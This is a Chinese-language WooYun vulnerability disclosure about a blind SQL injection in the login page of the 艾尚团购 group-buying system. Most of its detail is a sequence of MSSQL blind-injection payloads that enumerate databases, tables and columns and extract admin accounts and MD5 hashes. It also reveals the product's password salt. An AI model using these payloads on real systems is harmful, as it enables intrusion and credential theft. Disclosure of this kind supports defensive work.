当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019645

漏洞标题:艾尚团购系统商业版2.291 登录处盲注漏洞

相关厂商:艾尚团购

漏洞作者: 小痞子

提交时间:2013-03-07 09:58

修复时间:2013-04-21 09:58

公开时间:2013-04-21 09:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-04-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

http://test.asdht.com/login.aspx 这个页面登录的地方存在盲注

详细说明:

3.jpg

2.jpg

1.jpg

4.jpg


盲注常规步骤:
判断库是否确实为MSSQL2005:
' and substring((select @@version),22,4)='2005' ;--
猜数据库名:
先猜dbid:
' and (select count(*) from master.dbo.sysdatabases where dbid=5)=1 ;--
根据dbid猜库名,先猜出长度:
' and (select count(*) from master.dbo.sysdatabases where dbid=5 and len(name)=12)=1 ;--
再逐位猜:
' and (select count(*) from master.dbo.sysdatabases where dbid=5 and ascii(substring(name,1,1))>90)=1 ;--
猜表名(假设库名已经猜出为database):
可以尝试先看有没管理表:
' and (select count(*) from database.dbo.sysobjects where xtype='u' and name like '%admin%')=1 ;--
猜第一个,先长度:
' and (select count(*) from database.dbo.sysobjects where name in (select top 1 name from database.dbo.sysobjects where xtype='u') and len(name)=9)=1 ;--
猜第一个表名,逐位猜:
' and (select count(*) from database.dbo.sysobjects where name in (select top 1 name from database.dbo.sysobjects where xtype='u') and ascii(substring(name,1,1))>90)=1 ;--
猜第二个表名(假设第一个为table1):
' and (select count(*) from database.dbo.sysobjects where name in (select top 1 name from database.dbo.sysobjects where xtype='u' and name not in ('table1')) and ascii(substring(name,1,1))>90)=1 ;--
...
猜字段(假设表名已经猜出为table):
猜第一个字段:
' and (select count(*) from database.dbo.syscolumns where name in (select top 1 name from database_db.dbo.syscolumns where id=object_id('database.dbo.table')) and ascii(substring(name,1,1))>90)=1 ;--
猜第二个(假设第一个为column1)
' and (select count(*) from database.dbo.syscolumns where name in (select top 1 name from database_db.dbo.syscolumns where id=object_id('database.dbo.table') and name not in ('column1')) and ascii(substring(name,1,1))>90)=1 ;--
...
猜数据(假设要猜的字段为name):
' and (select count(*) from database.dbo.table where name in (select top 1 name from database_db.dbo.table) and ascii(substring(name,1,1))>90)=1 ;--
通过此方法可以爆出后台账户 以及 MD5密码。 但是后台MD5加密都是跟了后缀 比较难解密 FormsAuthentication.HashPasswordForStoringInConfigFile(pwd + "@4!@#$%@", "md5"))

漏洞证明:

4.jpg

修复方案:

你懂的

版权声明:转载请注明来源 小痞子@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝